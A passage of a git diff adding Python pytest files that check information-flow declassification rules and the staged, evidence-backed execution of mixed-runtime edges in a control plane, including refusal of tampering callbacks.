"conf:B"}, True), + ("Carol", {"conf:B"}, False), + ], +) +def test_combination_intersects_permitted_readers(reader, obligations, expected): + destination = replace(sink(obligations, {"int:A", "int:B"}), destination_ref=reader) + assert may_flow_at_sink(PROFILE, combined(), destination, FlowGateState.allowing()) is expected + + +def test_selective_release_preserves_other_owner_coordinate_and_history(): + source = combined() + result = release( + PROFILE, + source, + GRANT_A, + result_ref="released:A", + operation=FlowOperation.DECLASSIFICATION, + confidentiality=frozenset({"conf:A"}), + ) + assert result.label.confidentiality == frozenset({"conf:B"}) + assert result.label.integrity == source.label.integrity + assert result.influence_refs == source.influence_refs + assert source.provenance_refs <= result.provenance_refs + assert source.label.confidentiality == frozenset({"conf:A", "conf:B"}) + assert may_flow_at_sink(PROFILE, result, sink({"conf:B"}, {"int:A", "int:B"}), FlowGateState.allowing()) + other_owner = frozenset({"conf:B"}) + with pytest.raises(UnsupportedFlow, match="authority"): + release( + PROFILE, + source, + GRANT_A, + result_ref="release:B", + operation=FlowOperation.DECLASSIFICATION, + confidentiality=other_owner, + ) + + +def test_endorsement_is_owner_scoped_and_observation_does_not_clear_influence(): + source = combined() + result = release( + PROFILE, + source, + GRANT_A, + result_ref="endorsed:A", + operation=FlowOperation.ENDORSEMENT, + integrity=frozenset({"int:A"}), + ) + assert result.label.integrity == frozenset({"int:B"}) + assert result.label.confidentiality == source.label.confidentiality + assert result.influence_refs == source.influence_refs + assert not may_flow_at_sink(PROFILE, result, sink({"conf:A", "conf:B"}, set()), FlowGateState.allowing()) + assert may_flow_at_sink(PROFILE, result, sink({"conf:A", "conf:B"}, {"int:B"}), FlowGateState.allowing()) + assert result.label.integrity == frozenset({"int:B"}) + other_influence = frozenset({"int:B"}) + with pytest.raises(UnsupportedFlow, match="authority"): + release( + PROFILE, + source, + GRANT_A, + result_ref="endorse:B", + operation=FlowOperation.ENDORSEMENT, + integrity=other_influence, + ) + + +@pytest.mark.parametrize("changes", [{"cut": "cut:2"}, {"sink": "sink:other"}]) +def test_release_authority_is_bound_to_exact_sink_and_cut(changes): + source = combined() + changed_grant = replace(GRANT_A, **changes) + discharged = frozenset({"conf:A"}) + with pytest.raises(UnsupportedFlow, match="authority"): + release( + PROFILE, + source, + changed_grant, + result_ref="release:new", + operation=FlowOperation.DECLASSIFICATION, + confidentiality=discharged, + ) + + +@pytest.mark.parametrize("changed", ["source", "profile"]) +def test_release_grant_cannot_be_reused_for_another_source_or_profile(changed): + source, profile = combined(), PROFILE + if changed == "source": + source = replace(source, value_ref="different:source") + else: + profile = replace(PROFILE, profile_id="different-profile") + source = replace(source, label=replace(source.label, profile_id=profile.profile_id)) + discharged = frozenset({"conf:A"}) + with pytest.raises(UnsupportedFlow, match="authority"): + release( + profile, + source, + GRANT_A, + result_ref="release:new", + operation=FlowOperation.DECLASSIFICATION, + confidentiality=discharged, + ) + + +def test_retained_memory_and_unknown_inputs_cannot_launder_owner_obligations(): + source = combined() + retained = carry( + PROFILE, + source, + result_ref="memory:next", + participant_ref="participant:2", + episode_ref="episode:2", + policy_ref="policy:1", + policy_revision="rev1", + state_cut_ref="cut:1", + ) + assert retained.label == source.label + assert source.influence_refs <= retained.influence_refs + unknown = replace(retained, supported=False) + assert not may_flow_at_sink( + PROFILE, unknown, sink(PROFILE.confidentiality_universe, PROFILE.integrity_universe), FlowGateState.allowing() + ) + + +def test_schema_valid_owner_token_is_not_a_published_profile(): + original = load_participant_boundary_flow_policy_profile("participant-boundary-flow-policy-v1") + payload = original.model_dump(mode="json") + payload["confidentiality_obligation_refs"] = sorted( + [*payload["confidentiality_obligation_refs"], "confidentiality:owner-a"] + ) + schema = schema_bundle()["participant-boundary-flow-policy-v1"] + Draft202012Validator(schema).validate(payload) + with pytest.raises(ValueError, match="exact published"): + ParticipantBoundaryFlowPolicyProfileModel.model_validate(payload) + assert load_participant_boundary_flow_policy_profile(original.profile_id) == original diff --git a/implementations/python/tests/test_issue_1355_mixed_mapping_time.py b/implementations/python/tests/test_issue_1355_mixed_mapping_time.py new file mode 100644 index 000000000..62f965db7 --- /dev/null +++ b/implementations/python/tests/test_issue_1355_mixed_mapping_time.py @@ -0,0 +1,1206 @@ +"""Executable mixed-edge and stage-evidence regressions for issue #1355.""" + +from __future__ import annotations + +from dataclasses import replace + +import pytest +import raes_runtime.control_plane_recovery as recovery_module +from participant_crossing_fixtures import ACTION, PARTICIPANT, admission_request, behavior, evidence, identity +from raes_backend_protocols.recovery_observation import RecoveryEffectClassification +from raes_backend_stubs.stubs import create_stub_target +from raes_contracts.contracts import seal_mixed_composition_profile +from raes_contracts.contracts.time_model import ClockTransitionEventModel, RuntimeClockStateModel, TimeRuntimeStateModel +from raes_contracts.operation_lifecycle import OperationAdmissionContext +from raes_contracts.planning import RuntimeDomain +from raes_contracts.runtime_state import ( + ApplyResult, + OperationKind, + OperationReceipt, + OperationState, + OperationStatus, + RuntimeSnapshot, +) +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_health import control_plane_readiness +from raes_runtime.control_plane_recovery import ( + IndeterminateResolutionDisposition, + unresolved_indeterminate_operation_ids_from_records, +) +from raes_runtime.control_plane_store import ControlPlaneOperationRecord, InMemoryControlPlaneStore, NewClaimRejected +from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.mixed_runtime_dispatch import mixed_recovery_target +from raes_runtime.mixed_runtime_edge import MixedEdgeExecutionBinding, MixedTimeCoordinationEvidence +from raes_runtime.mixed_runtime_edge_execution import _require_time_grant +from raes_runtime.mixed_runtime_handoff_execution import _require_handoff_time_grant +from raes_runtime.participant_crossing_mediation import validate_persisted_crossing_history +from raes_runtime.time_coordinator import ReferenceTimeRuntime +from sem233_flow_sink_fixtures import permit_resolver +from test_issue_1016_mixed_runtime_coordination import ( + _admitted_binding, + _runtime_mixed_profile, + _runtime_profile, + _runtime_staged_profile, + _staged_time_snapshot, +) + + +@pytest.mark.parametrize("store_kind", ["memory", "local"]) +def test_phase_and_action_claims_exclude_each_other_at_the_store(tmp_path, store_kind) -> None: + store = InMemoryControlPlaneStore() if store_kind == "memory" else LocalControlPlaneStore(tmp_path / "claims") + lease = store.admit_runtime(target_scope="target:1355", run_scope="run:run-1355") if store_kind == "local" else None + history_key = "mixed_composition_history:run-1355" + + def record(operation_id, kind): + context = OperationAdmissionContext( + actor_id="actor-1355", + authorization_scope=("participant-control",), + target_scope="target:1355", + run_scope="run:run-1355", + operation_kind=kind, + request_commitment="sha256:" + "a" * 64, + ) + receipt = OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + submitted_at="2026-09-24T00:00:00Z", + accepted=True, + context=context, + ) + return ControlPlaneOperationRecord( + receipt=receipt, + status=OperationStatus( + operation_id=operation_id, + domain=receipt.domain, + state=OperationState.RUNNING, + submitted_at=receipt.submitted_at, + updated_at=receipt.submitted_at, + context=context, + ), + decision_history_heads={history_key: None}, + result_history_heads={history_key: None}, + ) + + phase = record("phase-1355", OperationKind.COMPOSITION_PHASE) + action = record("action-1355", OperationKind.PARTICIPANT_ACTION) + assert store.claim_record(phase) == phase + with pytest.raises(NewClaimRejected): + store.claim_record(action) + store.save_record(replace(phase, status=replace(phase.status, state=OperationState.SUCCEEDED))) + assert store.claim_record(action) == action + second_action = record("action-1355-b", OperationKind.PARTICIPANT_ACTION) + second_phase = record("phase-1355-b", OperationKind.COMPOSITION_PHASE) + with pytest.raises(NewClaimRejected): + store.claim_record(second_action) + with pytest.raises(NewClaimRejected): + store.claim_record(second_phase) + store.save_record(replace(action, status=replace(action.status, state=OperationState.SUCCEEDED))) + assert store.claim_record(record("action-1355-c", OperationKind.PARTICIPANT_ACTION)).receipt.operation_id == ( + "action-1355-c" + ) + if lease is not None: + lease.close() + + +def test_backend_success_does_not_invent_delivery_or_observation() -> None: + binding, run_id, runtimes = _admitted_binding(_runtime_profile) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1", identity=identity()) + + receipt = plane.admit_participant_action( + behavior(), + admission_request(), + identity=identity(), + crossing_evidence=evidence(), + idempotency_key="unproven-delivery", + ) + + assert receipt.accepted + assert runtimes["sim"].admission_count == 1 + kinds = [event["event_kind"] for event in plane.snapshot.mixed_composition_history[run_id]] + assert kinds[-3:] == ["decision", "attempt", "result"] + assert "delivery" not in kinds + assert "observation" not in kinds + + +def test_unbound_mixed_edge_refuses_before_bridge_or_provider_call() -> None: + binding, run_id, runtimes = _admitted_binding(_runtime_mixed_profile) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1", identity=identity()) + + action, admission, actor, crossing = behavior(), admission_request(), identity(), evidence() + with pytest.raises(ValueError, match="executable edge binding"): + plane.admit_participant_action( + action, + admission, + identity=actor, + crossing_evidence=crossing, + idempotency_key="unbound-edge", + ) + + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + + +def test_metadata_only_edge_binding_cannot_admit_mixed_execution() -> None: + original, _, _ = _admitted_binding(_runtime_mixed_profile) + + with pytest.raises(TypeError, match="executable edge binding"): + replace(original, edge_bindings={"edge.sim-to-emu": object()}) + + +def _executable_edge_plane( + *, + deliver: bool = True, + observe: bool = True, + execution_status: str = "succeeded", + fail_after_provider: bool = False, + change_terminal_requirement: bool = False, + stage_readback: bool = True, + stale_time_readback: bool = False, + stale_post_time_readback: bool = False, + destination_action_address: str = ACTION, + fail_stage: str | None = None, + profile_factory=_runtime_mixed_profile, +): + binding, run_id, runtimes = _admitted_binding(profile_factory) + edge = binding.profile.edges["edge.sim-to-emu"] + declaration = binding.context.time_models[edge.time_binding.time_model_ref] + time_runtime = ReferenceTimeRuntime() + initial_time = time_runtime.initialize(declaration, RuntimeSnapshot()).snapshot + if stale_time_readback or stale_post_time_readback: + original_readback = time_runtime.state + + def stale_readback(snapshot): + state = original_readback(snapshot) + if stale_time_readback or runtimes["emu"].admission_count > 0: + return state.model_copy(update={"declaration_digest": "sha256:" + "0" * 64}) + return state + + time_runtime.state = stale_readback + calls: list[str] = [] + + def map_action(request): + calls.append("map") + return replace( + request, + action_contract_address=destination_action_address, + requires_terminal_outcome=( + not request.requires_terminal_outcome + if change_terminal_requirement + else request.requires_terminal_outcome + ), + ) + + def coordinate(operation_id, admitted_edge, time_state): + calls.append("coordinate") + assert admitted_edge.edge_id == edge.edge_id + source = time_state.clocks[edge.time_binding.source_clock_address].coordinate + destination = time_state.clocks[edge.time_binding.target_clock_address].coordinate + return { + "operation_id": operation_id, + "mapping_ref": edge.time_binding.mapping_address, + "ordering_basis": edge.time_binding.ordering_basis, + "order_ref": f"order:bridge:{operation_id}", + "comparison": "ordered", + "source_coordinate": source.model_dump(mode="json"), + "destination_coordinate": destination.model_dump(mode="json"), + "mapping_evidence_refs": ["evidence:mapping-call"], + "timing_evidence_refs": ["evidence:time-grant", "evidence:edge-realization"], + } + + def bridge(operation_id, request, snapshot, provider_call): + calls.append("bridge") + result = provider_call(request, snapshot) + if fail_after_provider: + raise RuntimeError("private bridge outcome") + return result, { + "operation_id": operation_id, + "bridge_ref": edge.routing_ref, + "bridge_version": "1", + "bridge_digest": "sha256:" + "1" * 64, + "source_action_address": ACTION, + "destination_action_address": destination_action_address, + "execution_status": execution_status, + "execution_evidence_refs": ["evidence:backend-readback"], + "delivery_evidence_refs": ["evidence:destination-receipt"] if deliver else [], + "observation_evidence_refs": ["evidence:participant-readback"] if observe else [], + "mapping_loss_refs": [edge.mapping_loss.limitation_ref], + "cessation_evidence_refs": ["evidence:provider-cessation"] if execution_status == "failed" else [], + } + + def delivery_readback(operation_id, _snapshot): + calls.append("delivery-readback") + if fail_stage == "delivery": + raise RuntimeError("private destination readback failure") + return { + "operation_id": operation_id, + "destination_component_id": edge.target_component_id, + "receipt_ref": f"receipt:{operation_id}", + "evidence_refs": ["evidence:destination-receipt"], + } + + def observation_readback(operation_id, _snapshot): + calls.append("observation-readback") + if fail_stage == "observation": + raise RuntimeError("private participant readback failure") + return { + "operation_id": operation_id, + "participant_address": PARTICIPANT, + "audience_ref": edge.audience_scope_ref, + "observation_ref": f"observation:{operation_id}", + "evidence_refs": ["evidence:participant-readback"], + } + + executable = MixedEdgeExecutionBinding( + edge_id=edge.edge_id, + bridge_ref=edge.routing_ref, + bridge_version="1", + bridge_digest="sha256:" + "1" * 64, + source_action_address=ACTION, + destination_action_address=destination_action_address, + mapping_ref=edge.time_binding.mapping_address, + mapping_loss_ref=edge.mapping_loss.limitation_ref, + time_runtime=time_runtime, + map_action=map_action, + coordinate=coordinate, + bridge=bridge, + delivery_readback=delivery_readback if stage_readback else None, + observation_readback=observation_readback if stage_readback else None, + ) + binding = replace(binding, edge_bindings={edge.edge_id: executable}) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + store=InMemoryControlPlaneStore(snapshot=initial_time), + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1", identity=identity()) + return plane, run_id, runtimes, calls, time_runtime + + +def test_mapped_edge_invokes_bridge_and_records_distinct_evidenced_stages() -> None: + plane, run_id, runtimes, calls, _ = _executable_edge_plane() + + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key="mapped" + ) + + assert receipt.accepted + assert calls == ["map", "coordinate", "bridge", "delivery-readback", "observation-readback"] + assert runtimes["sim"].admission_count == 0 + assert runtimes["emu"].admission_count == 1 + kinds = [event["event_kind"] for event in plane.snapshot.mixed_composition_history[run_id]] + assert kinds[-6:] == ["decision", "attempt", "result", "delivery", "observation", "weakening"] + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "succeeded" + assert mixed_recovery_target(plane, receipt.operation_id) is plane._mixed_runtime.components["emu"].target + + +def _reversed_microstep_state(state, source_address, destination_address): + clocks = dict(state.clocks) + for address, microstep in ((source_address, 2), (destination_address, 1)): + clock = clocks[address] + coordinate = clock.coordinate.model_copy(update={"microstep": microstep}) + event = ClockTransitionEventModel( + sequence=clock.sequence + 1, + kind="advance", + previous=clock.coordinate, + resulting=coordinate, + resulting_state=clock.state, + ) + clocks[address] = RuntimeClockStateModel.model_validate( + clock.model_copy( + update={ + "coordinate": coordinate, + "sequence": event.sequence, + "history": [*clock.history, event], + } + ).model_dump(mode="python") + ) + return TimeRuntimeStateModel.model_validate(state.model_copy(update={"clocks": clocks}).model_dump(mode="python")) + + +def test_edge_order_grant_rejects_reversed_microsteps() -> None: + binding, _, _ = _admitted_binding(_runtime_mixed_profile) + edge = binding.profile.edges["edge.sim-to-emu"] + declaration = binding.context.time_models[edge.time_binding.time_model_ref] + state = ReferenceTimeRuntime().initialize(declaration, RuntimeSnapshot()).snapshot.time_model_state + assert state is not None + state = _reversed_microstep_state( + state, edge.time_binding.source_clock_address, edge.time_binding.target_clock_address + ) + installed = _executable_edge_plane()[0]._mixed_runtime.edge_bindings[edge.edge_id] + grant = MixedTimeCoordinationEvidence.model_validate(installed.coordinate("operation:microsteps", edge, state)) + + with pytest.raises(ValueError, match="governed order is unsupported"): + _require_time_grant( + grant, + "operation:microsteps", + edge, + declaration.mappings[edge.time_binding.mapping_address], + state, + ) + + +def test_handoff_order_grant_rejects_reversed_microsteps() -> None: + binding, _, _ = _admitted_binding(_runtime_staged_profile) + transition = binding.profile.transitions["transition.sim-to-emu"] + installed = binding.handoff_bindings[transition.transition_id] + declaration = binding.context.time_models[installed.time_model_ref] + state = _staged_time_snapshot(binding).time_model_state + assert state is not None + state = _reversed_microstep_state(state, installed.source_clock_address, installed.destination_clock_address) + grant = MixedTimeCoordinationEvidence.model_validate( + installed.coordinate("operation:microsteps", transition, state) + ) + + with pytest.raises(ValueError, match="handoff time coordination is unsupported"): + _require_handoff_time_grant(installed, grant, "operation:microsteps", declaration, state, transition) + + +@pytest.mark.parametrize("stale_post_time_readback", [False, True]) +def test_rejected_backend_result_cannot_publish_successful_mixed_stages(stale_post_time_readback) -> None: + plane, run_id, runtimes, calls, _ = _executable_edge_plane(stale_post_time_readback=stale_post_time_readback) + runtime = runtimes["emu"] + original = runtime.admit_action + + def invalid_changed_address(request, snapshot): + result = original(request, snapshot) + return replace(result, changed_addresses=["participant.unadmitted-address"]) + + runtime.admit_action = invalid_changed_address + receipt = plane.admit_participant_action( + behavior(), + admission_request(), + identity=identity(), + crossing_evidence=evidence(), + idempotency_key="invalid-result", + ) + + assert runtime.admission_count == 1 + assert calls == ["map", "coordinate", "bridge"] + assert plane.get_operation(receipt.operation_id, identity=identity()).state is OperationState.INDETERMINATE + events = plane.snapshot.mixed_composition_history[run_id] + result = next(event for event in events if event["event_kind"] == "result") + assert result["disposition"] == "indeterminate" + assert "evidence:backend-readback" not in result["evidence_refs"] + assert not any(event["event_kind"] in {"delivery", "observation", "weakening"} for event in events) + + +def test_failed_bridge_retains_correlation_and_cessation_evidence() -> None: + plane, run_id, runtimes, _, _ = _executable_edge_plane(deliver=False, observe=False, execution_status="failed") + runtime = runtimes["emu"] + original = runtime.admit_action + + def provider_failure(request, snapshot): + original(request, snapshot) + return ApplyResult(success=False, snapshot=snapshot) + + runtime.admit_action = provider_failure + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key="failed" + ) + + assert runtime.admission_count == 1 + assert plane.get_operation(receipt.operation_id, identity=identity()).state is OperationState.FAILED + events = plane.snapshot.mixed_composition_history[run_id] + assert [event["event_kind"] for event in events[-2:]] == ["result", "failure"] + assert all("evidence:provider-cessation" in event["evidence_refs"] for event in events[-2:]) + + +@pytest.mark.parametrize( + ("field", "replacement"), + [ + ("audience_scope_ref", "audience:unrelated"), + ("crossing_subject.subject_ref", "participant-action-admission:unrelated"), + ("policy.policy_decision_ref", "decision:unrelated"), + ("disclosure_authority_ref", "authority:unrelated"), + ], +) +def test_edge_authority_must_match_the_authorized_crossing_before_effect(field, replacement) -> None: + def changed_edge_profile(): + profile = _runtime_mixed_profile() + fields = profile.model_dump(mode="python", exclude={"profile_digest"}) + edge = fields["edges"]["edge.sim-to-emu"] + if "." in field: + parent, child = field.split(".", 1) + edge[parent][child] = replacement + else: + edge[field] = replacement + return seal_mixed_composition_profile(**fields) + + plane, _, runtimes, calls, _ = _executable_edge_plane(profile_factory=changed_edge_profile) + action, admission, actor, crossing = behavior(), admission_request(), identity(), evidence() + with pytest.raises(ValueError, match="mixed edge differs from the authorized crossing"): + plane.admit_participant_action( + action, + admission, + identity=actor, + crossing_evidence=crossing, + idempotency_key="wrong-audience", + ) + + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + assert calls == [] + + +def test_partial_bridge_report_preserves_execution_evidence_without_delivery_claim() -> None: + plane, run_id, runtimes, _, _ = _executable_edge_plane(deliver=False, observe=False, execution_status="partial") + + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key="partial" + ) + + assert runtimes["emu"].admission_count == 1 + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "indeterminate" + events = plane.snapshot.mixed_composition_history[run_id] + execution = next(event for event in events if event["event_kind"] == "result") + assert execution["disposition"] == "indeterminate" + assert "evidence:backend-readback" in execution["evidence_refs"] + assert not any(event["event_kind"] in {"delivery", "observation"} for event in events) + + +def test_bridge_report_without_destination_readback_cannot_claim_delivery() -> None: + plane, run_id, runtimes, calls, _ = _executable_edge_plane(stage_readback=False) + + receipt = plane.admit_participant_action( + behavior(), + admission_request(), + identity=identity(), + crossing_evidence=evidence(), + idempotency_key="no-readback", + ) + + assert runtimes["emu"].admission_count == 1 + assert calls == ["map", "coordinate", "bridge"] + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "indeterminate" + assert not any( + event["event_kind"] in {"delivery", "observation"} for event in plane.snapshot.mixed_composition_history[run_id] + ) + + +@pytest.mark.parametrize("fail_stage", ["delivery", "observation"]) +def test_later_readback_failure_retains_known_execution_and_only_confirmed_stages(fail_stage) -> None: + plane, run_id, runtimes, _, _ = _executable_edge_plane(fail_stage=fail_stage) + + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key=fail_stage + ) + + assert runtimes["emu"].admission_count == 1 + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "indeterminate" + events = plane.snapshot.mixed_composition_history[run_id] + result = next(event for event in events if event["event_id"] == f"composition:{receipt.operation_id}:result") + assert result["disposition"] == "indeterminate" + assert "evidence:backend-readback" in result["evidence_refs"] + kinds = [event["event_kind"] for event in events] + assert ("delivery" in kinds) is (fail_stage == "observation") + assert "observation" not in kinds + assert "weakening" in kinds + assert ( + plane._mixed_runtime.profile.edges["edge.sim-to-emu"].mapping_loss.limitation_ref in result["mapping_loss_refs"] + ) + + +def test_stale_time_readback_refuses_before_bridge_or_provider() -> None: + plane, run_id, runtimes, calls, _ = _executable_edge_plane(stale_time_readback=True) + + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key="stale-time" + ) + + assert calls == ["map"] + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "failed" + assert "delivery" not in [event["event_kind"] for event in plane.snapshot.mixed_composition_history[run_id]] + events = plane.snapshot.mixed_composition_history[run_id] + assert events[-1]["event_kind"] == "failure" + assert events[-2]["event_kind"] == "result" + assert events[-2]["mapping_loss_refs"] == [] + assert events[-3]["mapping_loss_refs"] == [ + plane._mixed_runtime.profile.edges["edge.sim-to-emu"].mapping_loss.limitation_ref + ] + + +def test_post_execution_stale_time_keeps_backend_evidence_without_governed_order() -> None: + plane, run_id, runtimes, _, _ = _executable_edge_plane(stale_post_time_readback=True) + + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key="post-stale" + ) + + assert runtimes["emu"].admission_count == 1 + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "indeterminate" + result = next( + event + for event in plane.snapshot.mixed_composition_history[run_id] + if event["event_id"] == f"composition:{receipt.operation_id}:result" + ) + assert result["disposition"] == "indeterminate" + assert "evidence:backend-readback" in result["evidence_refs"] + assert not result["order_ref"].startswith("order:bridge:") + assert not any( + event["event_kind"] in {"delivery", "observation", "weakening"} + for event in plane.snapshot.mixed_composition_history[run_id] + ) + + +def test_timestamp_only_edge_cannot_claim_governed_order() -> None: + def timestamp_profile(): + source = _runtime_mixed_profile() + fields = source.model_dump(mode="python", exclude={"profile_digest"}) + fields["edges"]["edge.sim-to-emu"]["time_binding"]["ordering_basis"] = "wall_clock_only" + return seal_mixed_composition_profile(**fields) + + plane, run_id, runtimes, calls, _ = _executable_edge_plane(profile_factory=timestamp_profile) + + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key="weak-clock" + ) + + assert calls == ["map", "coordinate"] + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "failed" + assert "delivery" not in [event["event_kind"] for event in plane.snapshot.mixed_composition_history[run_id]] + + +def test_unknown_bridge_outcome_is_indeterminate_and_replay_never_reinvokes() -> None: + plane, run_id, runtimes, calls, _ = _executable_edge_plane(fail_after_provider=True) + action_behavior = behavior() + request = admission_request() + caller = identity() + crossing = evidence() + + receipt = plane.admit_participant_action( + action_behavior, + request, + identity=caller, + crossing_evidence=crossing, + idempotency_key="unknown-bridge", + ) + replay = plane.admit_participant_action( + action_behavior, + request, + identity=caller, + crossing_evidence=crossing, + idempotency_key="unknown-bridge", + ) + + assert replay.operation_id == receipt.operation_id + assert runtimes["emu"].admission_count == 1 + assert calls == ["map", "coordinate", "bridge"] + assert plane.get_operation(receipt.operation_id, identity=caller).state.value == "indeterminate" + assert plane.snapshot.mixed_composition_history[run_id][-1]["disposition"] == "indeterminate" + assert "private bridge outcome" not in repr(plane.get_operation(receipt.operation_id, identity=caller).diagnostics) + + +def test_mapping_cannot_expand_the_authorized_action_carrier() -> None: + plane, _, runtimes, calls, _ = _executable_edge_plane(change_terminal_requirement=True) + + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key="bad-map" + ) + + assert receipt.accepted + assert calls == ["map"] + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "failed" + + +@pytest.mark.parametrize("mutator", ["mapper", "bridge"]) +def test_mutable_action_carrier_cannot_escape_authorized_mapping(mutator) -> None: + plane, _, runtimes, _, _ = _executable_edge_plane() + binding = plane._mixed_runtime + assert binding is not None + edge = binding.edge_bindings["edge.sim-to-emu"] + original_map, original_bridge = edge.map_action, edge.bridge + + def mutating_map(request): + request.implementation_manifest.constraints["unauthorized"] = "injected" + return original_map(request) + + def mutating_bridge(operation_id, request, snapshot, provider_call): + request.implementation_manifest.constraints["unauthorized"] = "injected" + return original_bridge(operation_id, request, snapshot, provider_call) + + changed = replace( + edge, + map_action=mutating_map if mutator == "mapper" else original_map, + bridge=mutating_bridge if mutator == "bridge" else original_bridge, + ) + plane._mixed_runtime = replace(binding, edge_bindings={edge.edge_id: changed}) + request = admission_request() + receipt = plane.admit_participant_action( + behavior(), request, identity=identity(), crossing_evidence=evidence(), idempotency_key=f"mutating-{mutator}" + ) + + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + assert "unauthorized" not in request.implementation_manifest.constraints + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "failed" + + +def test_bridge_cannot_change_snapshot_before_the_provider_call() -> None: + plane, _, runtimes, _, _ = _executable_edge_plane() + binding = plane._mixed_runtime + assert binding is not None + installed = binding.edge_bindings["edge.sim-to-emu"] + + def mutating_bridge(operation_id, request, snapshot, provider_call): + snapshot.metadata["forged-by-bridge"] = True + return installed.bridge(operation_id, request, snapshot, provider_call) + + changed = replace(installed, bridge=mutating_bridge) + plane._mixed_runtime = replace(binding, edge_bindings={changed.edge_id: changed}) + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key="bad-cut" + ) + + assert runtimes["emu"].admission_count == 0 + assert plane.get_operation(receipt.operation_id, identity=identity()).state is OperationState.FAILED + assert "forged-by-bridge" not in plane.snapshot.metadata + + +@pytest.mark.parametrize("mutator", ["time-readback", "coordinate"]) +def test_time_callbacks_cannot_mutate_the_provider_snapshot(mutator) -> None: + plane, _, runtimes, _, time_runtime = _executable_edge_plane() + binding = plane._mixed_runtime + assert binding is not None + installed = binding.edge_bindings["edge.sim-to-emu"] + original_state = time_runtime.state + + def mutating_state(snapshot): + snapshot.metadata["forged-by-time"] = True + return original_state(snapshot) + + def mutating_coordinate(operation_id, edge, state): + grant = installed.coordinate(operation_id, edge, state) + state.clocks["clock.forged"] = next(iter(state.clocks.values())) + return grant + + changed = replace(installed, coordinate=mutating_coordinate if mutator == "coordinate" else installed.coordinate) + if mutator == "time-readback": + time_runtime.state = mutating_state + plane._mixed_runtime = replace(binding, edge_bindings={changed.edge_id: changed}) + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key=mutator + ) + + assert runtimes["emu"].admission_count == 1 + assert plane.get_operation(receipt.operation_id, identity=identity()).state is OperationState.SUCCEEDED + assert "forged-by-time" not in plane.snapshot.metadata + assert "clock.forged" not in plane.snapshot.time_model_state.clocks + + +def test_interrupted_mixed_edge_cannot_recover_from_provider_observation_alone(monkeypatch) -> None: + class Interrupted(BaseException): + pass + + plane, run_id, runtimes, _, _ = _executable_edge_plane() + binding = plane._mixed_runtime + assert binding is not None + edge = binding.edge_bindings["edge.sim-to-emu"] + + def interrupted_bridge(operation_id, request, snapshot, provider_call): + provider_call(request, snapshot) + raise Interrupted + + plane._mixed_runtime = replace(binding, edge_bindings={edge.edge_id: replace(edge, bridge=interrupted_bridge)}) + action, admission, actor, crossing = behavior(), admission_request(), identity(), evidence() + with pytest.raises(Interrupted): + plane.admit_participant_action( + action, + admission, + identity=actor, + crossing_evidence=crossing, + idempotency_key="crashed-edge", + ) + pending = next( + record for record in plane._store.load_records().values() if record.idempotency_key == "crashed-edge" + ) + assert pending.status.state is OperationState.RUNNING + assert runtimes["emu"].admission_count == 1 + + def provider_only_observation(control_plane, _record, _target): + return RecoveryEffectClassification.EFFECT_APPLIED, ApplyResult(success=True, snapshot=control_plane._snapshot) + + monkeypatch.setattr(recovery_module, "_observe_recovery_target", provider_only_observation) + + restarted = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=plane._mixed_runtime, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + store=plane._store, + ) + assert ( + restarted.get_operation(pending.receipt.operation_id, identity=identity()).state is OperationState.INDETERMINATE + ) + assert restarted.snapshot.mixed_composition_history[run_id][-1]["event_kind"] == "attempt" + assert control_plane_readiness(restarted).to_payload()["status"] == "unready" + actor = identity() + with pytest.raises(ValueError, match="mixed stage reconciliation is required"): + restarted.resolve_indeterminate_operation( + pending.receipt.operation_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + 